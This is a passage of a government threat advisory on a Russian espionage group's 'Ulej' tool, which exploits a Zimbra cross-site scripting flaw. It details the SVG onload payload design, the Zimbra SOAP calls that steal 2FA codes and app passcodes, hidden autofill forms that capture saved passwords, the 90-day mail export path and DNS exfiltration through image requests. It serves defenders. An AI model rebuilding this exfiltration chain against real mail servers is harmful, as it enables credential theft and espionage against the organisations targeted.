<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
